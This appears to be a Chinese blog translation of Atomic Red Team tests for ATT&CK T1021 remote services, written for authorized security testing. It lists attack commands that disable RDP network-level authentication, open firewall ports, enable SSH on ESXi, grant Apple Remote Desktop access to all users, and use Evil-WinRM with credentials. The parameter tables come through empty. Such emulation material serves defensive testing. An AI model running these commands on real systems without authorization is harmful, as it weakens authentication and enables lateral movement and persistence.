本文章为Atomic Red Team系列文章,本篇文章内容为T1021-远程服务。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
本篇文章包含T1021.001、T1021.004、T1021.005、T1021.006四篇技战术,由于篇幅原因,对T1021.002-远程服务:SMB/Windows管理共享、T1021.003-远程服务:分布式组件对象模型(DCOM)感兴趣的朋友可自行查阅
T1021.001 - 远程服务:远程桌面协议
2025年3月20日00:00:00
- 本页内容
-
原子测试#1 - 通过RDP连接到域控制器 -
原子测试#2 - 使用Powershell将RDP端口更改为非标准端口 -
原子测试#3 - 使用命令提示符将RDP端口更改为非标准端口 -
原子测试#4 - 通过命令提示符禁用RDP的网络级别身份验证 -
来自ATT&CK的描述 -
原子测试
来自ATT&CK的描述
攻击者可能会使用有效账户通过远程桌面协议(RDP)登录计算机。随后,攻击者可以以登录用户的身份执行操作。
远程桌面是操作系统中的常见功能,它允许用户登录到远程系统的桌面图形用户界面,开启交互式会话。微软将其远程桌面协议(RDP)的具体实现称为远程桌面服务(RDS)。(引用:TechNet远程桌面服务)
如果启用了相关服务,并且允许使用已知凭证的账户访问,攻击者可能会通过RDP/RDS连接到远程系统,以此扩大访问权限。攻击者可能会利用凭证访问技术获取用于RDP的凭证。此外,攻击者还可能将RDP与辅助功能或终端服务DLL结合使用,以实现持久化。(引用:Alperovitch恶意软件相关研究)
原子测试
原子测试#1 - 通过RDP连接到域控制器
尝试通过远程桌面应用程序与域控制器建立RDP会话。
- 支持的平台
Windows - 自动生成的GUID
355d4632 - 8cb9 - 449d - 91ce - b566d0253d3e - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!
$Server=#{logonserver}
$User = Join-Path #{domain} #{username}
$Password="#{password}"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"
- 清理命令
$p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
- 依赖项
使用 powershell
运行! - 描述
计算机必须加入域 - 检查先决条件命令
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1}
- 获取先决条件命令
Write-Host Joining this computer to a domain must be done manually
原子测试#2 - 使用Powershell将RDP端口更改为非标准端口
使用Powershell将RDP端口更改为非标准端口。
- 支持的平台
Windows - 自动生成的GUID
2f840dd4 - 8a2e - 4f44 - beb3 - 6b2399ea3771 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!需要提升权限(例如root或管理员权限)
Set-ItemProperty -Path 'HKLM:SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
- 清理命令
Set-ItemProperty -Path 'HKLM:SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port}
Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction Ignore
Get-Service TermService | Restart-Service -Force -ErrorAction Ignore
原子测试#3 - 使用命令提示符将RDP端口更改为非标准端口
使用命令提示符将RDP端口更改为非标准端口。
- 支持的平台
Windows - 自动生成的GUID
74ace21e - a31c - 4f7d - b540 - 53e4eb6d1f73 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令
使用 command_prompt
运行!需要提升权限(例如root或管理员权限)
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f
netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
- 清理命令
reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1
netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
net stop TermService /y >nul 2>&1
net start TermService >nul 2>&1
原子测试#4 - 通过命令提示符禁用RDP的网络级别身份验证
通过命令提示符更改注册表项,禁用RDP的网络级别身份验证(NLA)。禁用RDP的NLA后,远程用户在进行身份验证之前,可与Windows登录屏幕进行交互。据微软称,Flax Typhoon组织的攻击者利用了这一技术,在受害者系统上实现持久化访问:https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
- 支持的平台
Windows - 自动生成的GUID
01d1c6c0 - faf0 - 408e - b368 - 752a02285cb2 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 command_prompt
运行!
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f
- 清理命令
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1
T1021.004 - 远程服务:SSH
2025年3月20日00:00:00
T1021.004 - 远程服务:SSH
来自ATT&CK的描述
攻击者可能会使用有效账户,通过安全外壳协议(SSH)登录远程机器,随后以登录用户的身份执行操作。
SSH是一种协议,它允许授权用户在其他计算机上打开远程Shell。许多Linux和macOS版本默认安装了SSH,但在用户启用之前通常处于禁用状态。SSH服务器可以配置为使用标准密码认证,或者使用公私钥对来代替密码,也可以两者都使用。在这种认证场景下,用户的公钥必须存放在运行服务器的计算机上的一个特殊文件中,该文件列出了允许以该用户身份登录的密钥对。
原子测试
-
原子测试#1 - ESXi - 通过PowerCLI启用SSH -
原子测试#2 - ESXi - 通过VIM-CMD启用SSH
原子测试#1 - ESXi - 通过PowerCLI启用SSH
攻击者在ESXi主机上启用SSH服务,以保持对主机的持久访问并执行后续操作。
- 支持的平台
Windows - 自动生成的GUID
8f6c14d1 - f13d - 4616 - b7fc - 98cc69fe56ec - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!需要提升权限(例如root或管理员权限)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
- 清理命令
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Stop-VMHostService -Confirm:$false
- 依赖项
使用 powershell
运行! - 描述
检查是否安装了VMWARE PowerCLI PowerShell模块 - 检查先决条件命令
$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
if (-not $RequiredModule) {exit 1}
- 获取先决条件命令
Install-Module -Name VMware.PowerCLI
原子测试#2 - ESXi - 通过VIM-CMD启用SSH
攻击者在ESXi主机上启用SSH,以维持持久访问并创建另一个命令执行接口。
- 支持的平台
Windows - 自动生成的GUID
280812c8 - 4dae - 43e9 - a74e - 1d08ab997c0e - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 command_prompt
运行!
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
- 清理命令
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/disable_ssh"
- 依赖项
使用 powershell
运行! - 描述
检查是否有plink - 检查先决条件命令
if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
- 获取先决条件命令
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
T1021.005 - 远程服务:VNC
2025年3月20日00:00:00
T1021.005 - 远程服务:VNC
来自ATT&CK的描述
攻击者可能会使用有效账户,通过虚拟网络计算(VNC)技术远程控制计算机。VNC是一个独立于平台的桌面共享系统,它使用RFB(“远程帧缓冲”)协议,通过在网络中传输屏幕图像、鼠标和键盘输入信息,让用户能够远程控制另一台计算机的显示界面。(引用:远程帧缓冲协议 )
VNC与远程桌面协议有所不同,VNC是屏幕共享软件,而非资源共享软件。默认情况下,VNC使用系统的认证机制,但也可以配置为使用VNC专用的凭证。(引用:用于远程桌面的MacOS VNC软件;VNC认证 )
攻击者可能会滥用VNC,以登录用户的身份执行恶意操作,例如打开文档、下载文件和运行任意命令。攻击者可以利用VNC远程控制和监控系统,收集数据和信息,进而渗透到网络中的其他系统。特定的VNC库或其实现方式还容易受到暴力破解攻击和内存利用漏洞的影响。(引用:劫持VNC;无需认证即可登录MacOS的root权限VNC;VNC漏洞;进攻性安全的VNC认证检查;渗透测试实验室对VNC服务器的攻击;哈瓦那认证漏洞 )
原子测试
原子测试#1 - 启用Apple远程桌面代理
Apple远程桌面(ARD)融合了多种协议,其中包括使用VNC来传输屏幕和控制缓冲区信息,以及使用SSH进行安全文件传输。攻击者可能会滥用ARD来实现远程代码执行和横向移动。 参考资料:https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil
- 支持的平台
macOS - 自动生成的GUID
8a930abe - 841c - 4d4f - a877 - 72e9fe90b9ea - 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet
- 清理命令
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet
T1021.006 - 远程服务:Windows远程管理
2025年3月20日00:00:00
T1021.006 - 远程服务:Windows远程管理
来自ATT&CK的描述
攻击者可能会使用有效账户,通过Windows远程管理(WinRM)与远程系统进行交互,然后以登录用户的身份执行操作。
WinRM既是一项Windows服务的名称,也是一种协议,它允许用户与远程系统进行交互(例如,运行可执行文件、修改注册表、修改服务等)。(引用:微软WinRM相关文档 )可以使用winrm
命令调用它,也可以通过诸如PowerShell等众多程序来调用。(引用:Jacobsen 2014)WinRM还可用作与Windows管理规范(Windows Management Instrumentation)进行远程交互的一种方式。(引用:MSDN关于WMI的文档 )
原子测试
-
原子测试#1 - 启用Windows远程管理 -
原子测试#2 - 使用Invoke-Command通过PS凭据进行远程代码执行 -
原子测试#3 - 使用Evil-WinRM访问WinRM
原子测试#1 - 启用Windows远程管理
使用PowerShell启用WinRM。
执行成功后,PowerShell将运行“Enable-PSRemoting”,从而允许进行远程PS访问。
- 支持的平台
Windows - 自动生成的GUID
9059e8de - 3d7d - 4954 - a322 - 46161880b9cf - 攻击命令
使用 powershell
运行!需要提升权限(例如root或管理员权限)
Enable-PSRemoting -Force
原子测试#2 - 使用Invoke-Command通过PS凭据进行远程代码执行
在本地主机上通过PowerShell远程处理模拟横向移动。执行成功后,PowerShell将使用Invoke-Command
针对本地机器(作为远程目标)执行whoami
命令。
- 支持的平台
Windows - 自动生成的GUID
5295bd61 - bd7e - 4744 - 9d52 - 85962a4cf2d6 - 攻击命令
使用 powershell
运行!
Enable-PSRemoting -Force
Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
- 清理命令
Disable-PSRemoting -Force
原子测试#3 - 使用Evil-WinRM访问WinRM
攻击者可能会尝试使用Evil-WinRM和有效账户,与启用了WinRM的远程系统进行交互。
- 支持的平台
Windows - 自动生成的GUID
efe86d95 - 44c4 - 4509 - ae42 - 7bfd9d1f5b3d - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!需要提升权限(例如root或管理员权限)
evil-winrm -i #{destination_address} -u #{user_name} -p #{password}
- 依赖项
:使用 powershell
运行! - 描述
:计算机必须安装Ruby - 检查先决条件命令
try {if(ruby -v) {exit 0} else {exit 1}} catch {exit 1}
- 获取先决条件命令
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder..ExternalPayloadsrubyinstaller-2.7.1-1-x64.exe" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe
$file1= "PathToAtomicsFolder..ExternalPayloadsrubyinstaller-2.7.1-1-x64.exe"
Start-Process $file1 /S;
- 描述
计算机必须安装Evil-WinRM - 检查先决条件命令
try {if(evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}
- 获取先决条件命令
gem install evil-winrm
原文始发于微信公众号(网空安全手札):T1021 - 远程服务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论